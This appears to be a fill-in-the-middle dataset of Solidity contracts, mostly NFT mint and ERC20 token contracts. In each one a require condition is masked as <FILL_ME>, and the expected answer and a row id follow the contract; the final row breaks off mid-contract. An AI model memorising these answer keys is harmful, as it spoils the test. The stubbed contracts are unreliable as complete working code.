uint256 public currentId = 0;
uint256 public publiclistMint = 0;
uint256 public whitelistMint = 0;
uint256 public reservedTokensMinted = 0;
bool public testWithDraw = false;
bool public testReserved = false;
mapping(address => uint256) private _publiclistMintTracker;
mapping(address => uint256) private _whitelistMintTracker;
constructor( string memory _name, string memory _symbol) ERC721A("Project Unleash", "ULH"){}
function publicMint(
uint256 numberOfTokens
)
external
payable
isSaleActive(publicListSaleisActive)
canClaimTokenPublic(numberOfTokens)
isCorrectPayment(PUBLIC_PRICE, numberOfTokens)
isCorrectAmount(numberOfTokens)
isSupplyRemaining(numberOfTokens)
nonReentrant
whenNotPaused
{
}
function preMint(
bytes32[] calldata merkleProof,
uint256 numberOfTokens
)
external
payable
isSaleActive(publicListSaleisActive)
isValidMerkleProof(merkleProof, premintlistMerkleRoot)
canClaimTokenPublic(numberOfTokens)
isCorrectPayment(PREMINT_PRICE, numberOfTokens)
isCorrectAmount(numberOfTokens)
isSupplyRemaining(numberOfTokens)
nonReentrant
whenNotPaused
{
}
function wlMint(
bytes32[] calldata merkleProof,
uint256 numberOfTokens
)
external
payable
isSaleActive(whiteListSaleisActive)
isValidMerkleProof(merkleProof, whitelistMerkleRoot)
canClaimTokenWL(numberOfTokens)
isCorrectPayment(WHITELIST_PRICE, numberOfTokens)
isCorrectAmountWL(numberOfTokens)
isSupplyRemainingWL(numberOfTokens)
nonReentrant
whenNotPaused
{
}
function mintReservedToken(address to, uint256 numberOfTokens)
external
canReserveToken(numberOfTokens)
isNonZero(numberOfTokens)
nonReentrant
onlyOwner
{
}
function withdraw() external onlyOwner {
}
function _startTokenId()
internal
view
virtual
override
returns (uint256)
{
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function contractURI()
external
view
returns
(string memory)
{
}
function numberMinted(address owner)
public
view
returns
(uint256)
{
}
function getOwnershipData(uint256 tokenId)
external
view
returns (TokenOwnership memory)
{
}
function _baseURI()
internal
view
virtual
override
returns (string memory)
{
}
function setReveal(bool _reveal)
public
onlyOwner
{
}
function setBaseURI(string memory _newBaseURI)
public
onlyOwner
{
}
function setNotRevealedURI(string memory _notRevealedURI)
public
onlyOwner
{
}
function setBaseExtension(string memory _newBaseExtension)
public
onlyOwner
{
}
function setContractURI(string calldata newuri)
external
onlyOwner
{
}
function setWhitelistMerkleRoot(bytes32 merkleRoot)
external
onlyOwner
{
}
function setPremintMerkleRoot(bytes32 merkleRoot)
external
onlyOwner
{
}
function pause()
external
onlyOwner
{
}
function unpause()
external
onlyOwner
{
}
function flipPubliclistSaleState()
external
onlyOwner
{
}
function flipWhitelistSaleState()
external
onlyOwner
{
}
function updateSaleDetails(
uint256 _royalty
)
external
isNonZero(_royalty)
onlyOwner
{
}
function isApprovedForAll(
address _owner,
address _operator
)
public
override
view
returns
(bool isOperator)
{
}
function royaltyInfo(
uint256, /*_tokenId*/
uint256 _salePrice
)
external
view
override(IERC2981)
returns (address Receiver, uint256 royaltyAmount)
{
}
modifier isValidMerkleProof(
bytes32[] calldata merkleProof,
bytes32 root
) {
}
modifier canClaimTokenPublic(uint256 numberOfTokens) {
}
modifier canClaimTokenWL(uint256 numberOfTokens) {
}
modifier canReserveToken(uint256 numberOfTokens) {
}
modifier isCorrectPayment(
uint256 price,
uint256 numberOfTokens
) {
}
modifier isCorrectAmount(uint256 numberOfTokens) {
}
modifier isCorrectAmountWL(uint256 numberOfTokens) {
}
modifier isSupplyRemaining(uint256 numberOfTokens) {
}
modifier isSupplyRemainingWL(uint256 numberOfTokens) {
require(<FILL_ME>)
_;
}
modifier isSaleActive(bool active) {
}
modifier isNonZero(uint256 num) {
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override(ERC721A, IERC165)
returns (bool)
{
}
function setPrice(uint256 _price)
public
onlyOwner
{
}
function setPremintPrice(uint256 _price)
public
onlyOwner
{
}
}
| totalSupply()+numberOfTokens<=MAX_SUPPLY-(NUMBER_RESERVED_TOKENS-reservedTokensMinted),"Purchase would exceed max supply" | 87,662 | totalSupply()+numberOfTokens<=MAX_SUPPLY-(NUMBER_RESERVED_TOKENS-reservedTokensMinted) |
"paused" | /**
* Copyright 2017-2022, OokiDao. All Rights Reserved.
* Licensed under the Apache License, Version 2.0.
*/
pragma solidity 0.5.17;
import "Ownable.sol";
contract PausableGuardian is Ownable {
// keccak256("Pausable_FunctionPause")
bytes32 internal constant Pausable_FunctionPause = 0xa7143c84d793a15503da6f19bf9119a2dac94448ca45d77c8bf08f57b2e91047;
// keccak256("Pausable_GuardianAddress")
bytes32 internal constant Pausable_GuardianAddress = 0x80e6706973d0c59541550537fd6a33b971efad732635e6c3b99fb01006803cdf;
modifier pausable {
require(<FILL_ME>)
_;
}
modifier onlyGuardian {
}
function _isPaused(bytes4 sig) public view returns (bool isPaused) {
}
function toggleFunctionPause(bytes4 sig) public onlyGuardian {
}
function toggleFunctionUnPause(bytes4 sig) public onlyGuardian {
}
function changeGuardian(address newGuardian) public onlyGuardian {
}
function getGuardian() public view returns (address guardian) {
}
}
| !_isPaused(msg.sig),"paused" | 87,673 | !_isPaused(msg.sig) |
"Max Transaction amt must be above 0.1% of total supply." | // SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.9.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IFactoryV2 {
event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
function getPair(address tokenA, address tokenB) external view returns (address lpPair);
function createPair(address tokenA, address tokenB) external returns (address lpPair);
}
interface IV2Pair {
function factory() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function sync() external;
}
interface IRouter01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function swapExactETHForTokens(
uint amountOutMin,
address[] calldata path,
address to, uint deadline
) external payable returns (uint[] memory amounts);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IRouter02 is IRouter01 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
}
interface AntiSnipe {
function checkUser(address from, address to, uint256 amt) external returns (bool);
function setLaunch(address _initialLpPair, uint32 _liqAddBlock, uint64 _liqAddStamp, uint8 dec) external;
function setLpPair(address pair, bool enabled) external;
function setProtections(bool _as, bool _ab) external;
function setProtections(bool _as, bool _ag, bool _ab, bool _algo) external;
function getMaximumTxAmt() external view returns (uint256);
function setMaximumTxAmt(uint256 amount) external;
function setGasPriceLimit(uint256 gas) external;
function removeSniper(address account) external;
function removeBlacklisted(address account) external;
function isBlacklisted(address account) external view returns (bool);
function transfer(address sender) external;
function setBlacklistEnabled(address account, bool enabled) external;
function setBlacklistEnabledMultiple(address[] memory accounts, bool enabled) external;
function getInitializers() external view returns (string memory, string memory, uint256, uint8);
}
contract FAITH is IERC20 {
// Ownership moved to in-contract for customizability.
address private _owner;
mapping (address => uint256) private _tOwned;
mapping (address => bool) lpPairs;
uint256 private timeSinceLastPair = 0;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _liquidityHolders;
mapping (address => bool) private _isExcludedFromProtection;
mapping (address => bool) private _isExcludedFromFees;
mapping (address => bool) private _isExcludedFromLimits;
mapping (address => bool) private presaleAddresses;
bool private allowedPresaleExclusion = true;
uint256 constant private startingSupply = 10_000_000_000_000;
string constant private _name = "FAITH TOKEN";
string constant private _symbol = "FAI";
uint8 constant private _decimals = 9;
uint256 constant private _tTotal = startingSupply * 10**_decimals;
struct Fees {
uint16 buyFee;
uint16 sellFee;
uint16 transferFee;
}
struct Ratios {
uint16 liquidity;
uint16 marketing;
uint16 buyback;
uint16 totalSwap;
}
Fees public _taxRates = Fees({
buyFee: 1500,
sellFee: 3000,
transferFee: 1500
});
Ratios public _ratios = Ratios({
liquidity: 1600,
marketing: 2100,
buyback: 1300,
totalSwap: 1600 + 2100 + 1300
});
uint256 constant public maxBuyTaxes = 2000;
uint256 constant public maxSellTaxes = 2000;
uint256 constant public maxTransferTaxes = 2000;
uint256 constant masterTaxDivisor = 10000;
IRouter02 public dexRouter;
address public lpPair;
address constant public DEAD = 0x000000000000000000000000000000000000dEaD;
struct TaxWallets {
address payable marketing;
address payable buyback;
}
TaxWallets public _taxWallets = TaxWallets({
marketing: payable(0xB9625294aC54Ac7F7661965700D85c1f4b965504),
buyback: payable(0xf6Ec18a039e9e4C6728a2506A28ce89ED00de7dd)
});
bool inSwap;
bool public contractSwapEnabled = false;
uint256 public contractSwapTimer = 0 seconds;
uint256 private lastSwap;
uint256 public swapThreshold;
uint256 public swapAmount;
uint256 private _maxTxAmount = (_tTotal * 5) / 1000;
uint256 private _maxWalletSize = (_tTotal * 2) / 100;
bool public tradingEnabled = false;
bool public _hasLiqBeenAdded = false;
AntiSnipe antiSnipe;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event ContractSwapEnabledUpdated(bool enabled);
event AutoLiquify(uint256 amountCurrency, uint256 amountTokens);
modifier lockTheSwap {
}
modifier onlyOwner() {
}
constructor () payable {
}
receive() external payable {}
//===============================================================================================================
//===============================================================================================================
//===============================================================================================================
// Ownable removed as a lib and added here to allow for custom transfers and renouncements.
// This allows for removal of ownership privileges from the owner once renounced or transferred.
function transferOwner(address newOwner) external onlyOwner {
}
function renounceOwnership() public virtual onlyOwner {
}
//===============================================================================================================
//===============================================================================================================
//===============================================================================================================
function totalSupply() external pure override returns (uint256) { }
function decimals() external pure override returns (uint8) { }
function symbol() external pure override returns (string memory) { }
function name() external pure override returns (string memory) { }
function getOwner() external view override returns (address) { }
function allowance(address holder, address spender) external view override returns (uint256) { }
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function _approve(address sender, address spender, uint256 amount) internal {
}
function approveContractContingency() public onlyOwner returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
}
function setNewRouter(address newRouter) public onlyOwner {
}
function setLpPair(address pair, bool enabled) external onlyOwner {
}
function setInitializer(address initializer) external onlyOwner {
}
function isExcludedFromLimits(address account) external view returns (bool) {
}
function isExcludedFromFees(address account) external view returns(bool) {
}
function isExcludedFromProtection(address account) external view returns (bool) {
}
function setExcludedFromLimits(address account, bool enabled) external onlyOwner {
}
function setExcludedFromFees(address account, bool enabled) public onlyOwner {
}
function setExcludedFromProtection(address account, bool enabled) external onlyOwner {
}
function setBlacklistEnabled(address account, bool enabled) external onlyOwner {
}
function setBlacklistEnabledMultiple(address[] memory accounts, bool enabled) external onlyOwner {
}
function isBlacklisted(address account) public view returns (bool) {
}
function removeSniper(address account) external onlyOwner {
}
function setProtectionSettings(bool _antiSnipe, bool _antiGas, bool _antiBlock, bool _algo) external onlyOwner {
}
function setGasPriceLimit(uint256 gas) external onlyOwner {
}
function setTaxes(uint16 buyFee, uint16 sellFee, uint16 transferFee) external onlyOwner {
}
function setRatios(uint16 liquidity, uint16 marketing, uint16 buyback) external onlyOwner {
}
function setWallets(address payable marketing, address payable buyback) external onlyOwner {
}
function setMaxTxPercent(uint256 percent, uint256 divisor) external onlyOwner {
require(<FILL_ME>)
_maxTxAmount = (_tTotal * percent) / divisor;
}
function setMaxWalletSize(uint256 percent, uint256 divisor) external onlyOwner {
}
function getMaxTX() public view returns (uint256) {
}
function getMaxWallet() public view returns (uint256) {
}
function setSwapSettings(uint256 thresholdPercent, uint256 thresholdDivisor, uint256 amountPercent, uint256 amountDivisor, uint256 time) external onlyOwner {
}
function setContractSwapEnabled(bool enabled) external onlyOwner {
}
function _hasLimits(address from, address to) internal view returns (bool) {
}
function _transfer(address from, address to, uint256 amount) internal returns (bool) {
}
function contractSwap(uint256 contractTokenBalance) internal lockTheSwap {
}
function _checkLiquidityAdd(address from, address to) internal {
}
function enableTrading() public onlyOwner {
}
function sweepContingency() external onlyOwner {
}
function multiSendTokens(address[] memory accounts, uint256[] memory amounts) external onlyOwner {
}
function _finalizeTransfer(address from, address to, uint256 amount, bool takeFee, bool buy, bool sell, bool other) internal returns (bool) {
}
function takeTaxes(address from, bool buy, bool sell, uint256 amount) internal returns (uint256) {
}
}
| (_tTotal*percent)/divisor>=(_tTotal/1000),"Max Transaction amt must be above 0.1% of total supply." | 87,688 | (_tTotal*percent)/divisor>=(_tTotal/1000) |
"Trading is not active." | //SPDX-License-Identifier: MIT
/*
▒█▀▀█ ░▀░ ▀▀█▀▀ ░▀░ ▀▀█ █▀▀ █▀▀▄ ▒█▀▀█ █░░█ █░░ █▀▀ █▀▀
▒█░░░ ▀█▀ ░░█░░ ▀█▀ ▄▀░ █▀▀ █░░█ ▒█▄▄█ █░░█ █░░ ▀▀█ █▀▀
▒█▄▄█ ▀▀▀ ░░▀░░ ▀▀▀ ▀▀▀ ▀▀▀ ▀░░▀ ▒█░░░ ░▀▀▀ ▀▀▀ ▀▀▀ ▀▀▀
*/
pragma solidity ^0.8.5;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
contract CitizenPulse is ERC20, Ownable {
bool private trading;
mapping(address => bool) limitExempt;
IUniswapV2Router02 public rt;
address public pair;
uint256 fee = 4;
address DEAD = 0x000000000000000000000000000000000000dEaD;
uint256 _totalSupply = 5000000 * (10**decimals());
uint256 public _maxWallet = (_totalSupply * 4) / 100;
mapping(address => bool) isFeeExempt;
constructor() ERC20("CitizenPulse", "CTZP") {
}
function shouldTakeFee(address sender) internal view returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual override {
if (!trading) {
require(<FILL_ME>)
}
if (recipient != pair && recipient != DEAD) {
require(
limitExempt[recipient] ||
balanceOf(recipient) + amount <= _maxWallet,
"Transfer amount exceeds the bag size."
);
}
uint256 taxed = shouldTakeFee(sender) ? getFee(amount) : 0;
super._transfer(sender, recipient, amount - taxed);
super._burn(sender, taxed);
}
receive() external payable {}
function openTrading() external onlyOwner {
}
function getFee(uint256 amount) internal view returns (uint256) {
}
function setLimit(uint256 amount) external onlyOwner {
}
function decimals() public view virtual override returns (uint8) {
}
}
| isFeeExempt[sender]||isFeeExempt[recipient],"Trading is not active." | 87,780 | isFeeExempt[sender]||isFeeExempt[recipient] |
"Transfer amount exceeds the bag size." | //SPDX-License-Identifier: MIT
/*
▒█▀▀█ ░▀░ ▀▀█▀▀ ░▀░ ▀▀█ █▀▀ █▀▀▄ ▒█▀▀█ █░░█ █░░ █▀▀ █▀▀
▒█░░░ ▀█▀ ░░█░░ ▀█▀ ▄▀░ █▀▀ █░░█ ▒█▄▄█ █░░█ █░░ ▀▀█ █▀▀
▒█▄▄█ ▀▀▀ ░░▀░░ ▀▀▀ ▀▀▀ ▀▀▀ ▀░░▀ ▒█░░░ ░▀▀▀ ▀▀▀ ▀▀▀ ▀▀▀
*/
pragma solidity ^0.8.5;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
contract CitizenPulse is ERC20, Ownable {
bool private trading;
mapping(address => bool) limitExempt;
IUniswapV2Router02 public rt;
address public pair;
uint256 fee = 4;
address DEAD = 0x000000000000000000000000000000000000dEaD;
uint256 _totalSupply = 5000000 * (10**decimals());
uint256 public _maxWallet = (_totalSupply * 4) / 100;
mapping(address => bool) isFeeExempt;
constructor() ERC20("CitizenPulse", "CTZP") {
}
function shouldTakeFee(address sender) internal view returns (bool) {
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual override {
if (!trading) {
require(
isFeeExempt[sender] || isFeeExempt[recipient],
"Trading is not active."
);
}
if (recipient != pair && recipient != DEAD) {
require(<FILL_ME>)
}
uint256 taxed = shouldTakeFee(sender) ? getFee(amount) : 0;
super._transfer(sender, recipient, amount - taxed);
super._burn(sender, taxed);
}
receive() external payable {}
function openTrading() external onlyOwner {
}
function getFee(uint256 amount) internal view returns (uint256) {
}
function setLimit(uint256 amount) external onlyOwner {
}
function decimals() public view virtual override returns (uint8) {
}
}
| limitExempt[recipient]||balanceOf(recipient)+amount<=_maxWallet,"Transfer amount exceeds the bag size." | 87,780 | limitExempt[recipient]||balanceOf(recipient)+amount<=_maxWallet |
"Exceeded Free Mint Limit" | pragma solidity >=0.8.0 <0.9.0;
contract PaiksRoboticZoo is ERC721A, Ownable {
using Strings for uint256;
string public uriPrefix = "ipfs://bafybeiejvxy2i4o75toqjqbzcdqvekp5xovsx5s7svwcmdsxvs6u35mho4/";
string public uriSuffix = ".json";
string public hiddenMetadataUri;
uint256 public cost = 0.003 ether;
uint256 public maxSupply = 168;
uint256 public maxMintAmountPerTx = 2;
uint256 public totalMaxMintAmount = 2;
uint256 public freeMaxMintAmount = 0;
bool public paused = false;
bool public publicSale = true;
bool public revealed = true;
mapping(address => uint256) public addressMintedBalance;
constructor() ERC721A("Paik's Robotic ZOO", "PRZ00") {
}
// MODIFIERS
modifier mintCompliance(uint256 _mintAmount) {
}
modifier mintPriceCompliance(uint256 _mintAmount) {
}
// MINTS
function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) mintPriceCompliance(_mintAmount) {
require(!paused, 'The contract is paused!');
require(publicSale, "Not open to public yet!");
uint256 ownerMintedCount = addressMintedBalance[msg.sender];
if (ownerMintedCount < freeMaxMintAmount) {
require(<FILL_ME>)
} else if (ownerMintedCount >= freeMaxMintAmount) {
require(ownerMintedCount + _mintAmount <= totalMaxMintAmount, "Exceeded Mint Limit");
}
_safeMint(_msgSender(), _mintAmount);
for (uint256 i = 1; i <=_mintAmount; i++){
addressMintedBalance[msg.sender]++;
}
}
function ownerMint(uint256 _mintAmount) public payable onlyOwner {
}
function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner {
}
function walletOfOwner(address _owner) public view returns (uint256[] memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function setRevealed(bool _state) public onlyOwner {
}
function setCost(uint256 _cost) public onlyOwner {
}
function setFreeMaxMintAmount(uint256 _freeMaxMintAmount) public onlyOwner {
}
function setTotalMaxMintAmount(uint _amount) public onlyOwner {
}
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function setPublicSale(bool _state) public onlyOwner {
}
// WITHDRAW
function withdraw() public payable onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
}
| ownerMintedCount+_mintAmount<=freeMaxMintAmount,"Exceeded Free Mint Limit" | 87,993 | ownerMintedCount+_mintAmount<=freeMaxMintAmount |
"Exceeded Mint Limit" | pragma solidity >=0.8.0 <0.9.0;
contract PaiksRoboticZoo is ERC721A, Ownable {
using Strings for uint256;
string public uriPrefix = "ipfs://bafybeiejvxy2i4o75toqjqbzcdqvekp5xovsx5s7svwcmdsxvs6u35mho4/";
string public uriSuffix = ".json";
string public hiddenMetadataUri;
uint256 public cost = 0.003 ether;
uint256 public maxSupply = 168;
uint256 public maxMintAmountPerTx = 2;
uint256 public totalMaxMintAmount = 2;
uint256 public freeMaxMintAmount = 0;
bool public paused = false;
bool public publicSale = true;
bool public revealed = true;
mapping(address => uint256) public addressMintedBalance;
constructor() ERC721A("Paik's Robotic ZOO", "PRZ00") {
}
// MODIFIERS
modifier mintCompliance(uint256 _mintAmount) {
}
modifier mintPriceCompliance(uint256 _mintAmount) {
}
// MINTS
function mint(uint256 _mintAmount) public payable mintCompliance(_mintAmount) mintPriceCompliance(_mintAmount) {
require(!paused, 'The contract is paused!');
require(publicSale, "Not open to public yet!");
uint256 ownerMintedCount = addressMintedBalance[msg.sender];
if (ownerMintedCount < freeMaxMintAmount) {
require(ownerMintedCount + _mintAmount <= freeMaxMintAmount, "Exceeded Free Mint Limit");
} else if (ownerMintedCount >= freeMaxMintAmount) {
require(<FILL_ME>)
}
_safeMint(_msgSender(), _mintAmount);
for (uint256 i = 1; i <=_mintAmount; i++){
addressMintedBalance[msg.sender]++;
}
}
function ownerMint(uint256 _mintAmount) public payable onlyOwner {
}
function mintForAddress(uint256 _mintAmount, address _receiver) public mintCompliance(_mintAmount) onlyOwner {
}
function walletOfOwner(address _owner) public view returns (uint256[] memory) {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function setRevealed(bool _state) public onlyOwner {
}
function setCost(uint256 _cost) public onlyOwner {
}
function setFreeMaxMintAmount(uint256 _freeMaxMintAmount) public onlyOwner {
}
function setTotalMaxMintAmount(uint _amount) public onlyOwner {
}
function setMaxMintAmountPerTx(uint256 _maxMintAmountPerTx) public onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function setPublicSale(bool _state) public onlyOwner {
}
// WITHDRAW
function withdraw() public payable onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
}
| ownerMintedCount+_mintAmount<=totalMaxMintAmount,"Exceeded Mint Limit" | 87,993 | ownerMintedCount+_mintAmount<=totalMaxMintAmount |
"trading is already open" | /**
Step into the web3 realm of Decentral Wings!
Website: https://decentral-wings.com/
Telegram: https://t.me/DecentralWingsPortal
Twitter: https://twitter.com/wings_eth
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.5;
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
interface IERC20Standard {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract DecentralWingsToken is Context, IERC20Standard, Ownable {
using SafeMath for uint256;
string private constant _name = "Decentral Wings";
string private constant _symbol = "WINGS";
uint8 private constant _decimals = 9;
uint256 private constant _total = 10 ** 9 * 10 ** _decimals;
uint256 private _finalBuyTaxPercentage = 1;
uint256 private _finalSellTaxPercentage = 1;
uint256 private _reduceBuyTaxAtBlock = 14;
uint256 private _reduceSellTaxAtBlock = 14;
uint256 private _preventSwapBeforeBlock = 14;
uint256 private _initBuyTax = 14;
uint256 private _initSellTax = 14;
uint256 private blockCount = 0;
IUniswapV2Router02 private _uniswapV2Router02;
address private _uniswapV2Pair02;
bool private isTradingOpen;
bool private isSwapping = false;
bool private isSwapEnabled = false;
address payable private revShareWallet;
uint256 enableTradingBlock;
uint256 public maxTransactionToken = 40 * 10 ** 6 * 10 ** _decimals;
uint256 public maxWalletAmountToken = 40 * 10 ** 6 * 10 ** _decimals;
uint256 public maxFeeSwap = 1 * 10 ** 7 * 10 ** _decimals;
uint256 public swapTokensMinimum = 0 * 10 ** _decimals;
uint256 private _divisor = 100;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
event MaxTransactionAmountUpdated(uint amount);
modifier lockSwap {
}
constructor (address _revShareWallet, address _uniswapV2RouterAddress02) {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function decimals() public pure returns (uint8) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function totalSupply() public pure override returns (uint256) {
}
function sendSwappedETH(uint256 amount) private {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function min(uint256 a, uint256 b) private pure returns (uint256){
}
receive() external payable {}
function enableTrading() external onlyOwner() {
require(<FILL_ME>)
_approve(address(this), address(_uniswapV2Router02), _total);
_uniswapV2Pair02 = IUniswapV2Factory(_uniswapV2Router02.factory()).createPair(address(this), _uniswapV2Router02.WETH());
_uniswapV2Router02.addLiquidityETH{value: address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
IERC20Standard(_uniswapV2Pair02).approve(address(_uniswapV2Router02), type(uint).max);
isSwapEnabled = true;
isTradingOpen = true;
enableTradingBlock = block.number;
}
function removeLimits() external onlyOwner {
}
function _transfer(address from, address to, uint256 amount) private {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function swapTokensForEth(uint256 tokenAmount) private lockSwap {
}
function isContract(address account) private view returns (bool) {
}
}
| !isTradingOpen,"trading is already open" | 88,028 | !isTradingOpen |
"Exceeds the maxWalletAmount." | /**
Step into the web3 realm of Decentral Wings!
Website: https://decentral-wings.com/
Telegram: https://t.me/DecentralWingsPortal
Twitter: https://twitter.com/wings_eth
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.5;
import "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
interface IERC20Standard {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract DecentralWingsToken is Context, IERC20Standard, Ownable {
using SafeMath for uint256;
string private constant _name = "Decentral Wings";
string private constant _symbol = "WINGS";
uint8 private constant _decimals = 9;
uint256 private constant _total = 10 ** 9 * 10 ** _decimals;
uint256 private _finalBuyTaxPercentage = 1;
uint256 private _finalSellTaxPercentage = 1;
uint256 private _reduceBuyTaxAtBlock = 14;
uint256 private _reduceSellTaxAtBlock = 14;
uint256 private _preventSwapBeforeBlock = 14;
uint256 private _initBuyTax = 14;
uint256 private _initSellTax = 14;
uint256 private blockCount = 0;
IUniswapV2Router02 private _uniswapV2Router02;
address private _uniswapV2Pair02;
bool private isTradingOpen;
bool private isSwapping = false;
bool private isSwapEnabled = false;
address payable private revShareWallet;
uint256 enableTradingBlock;
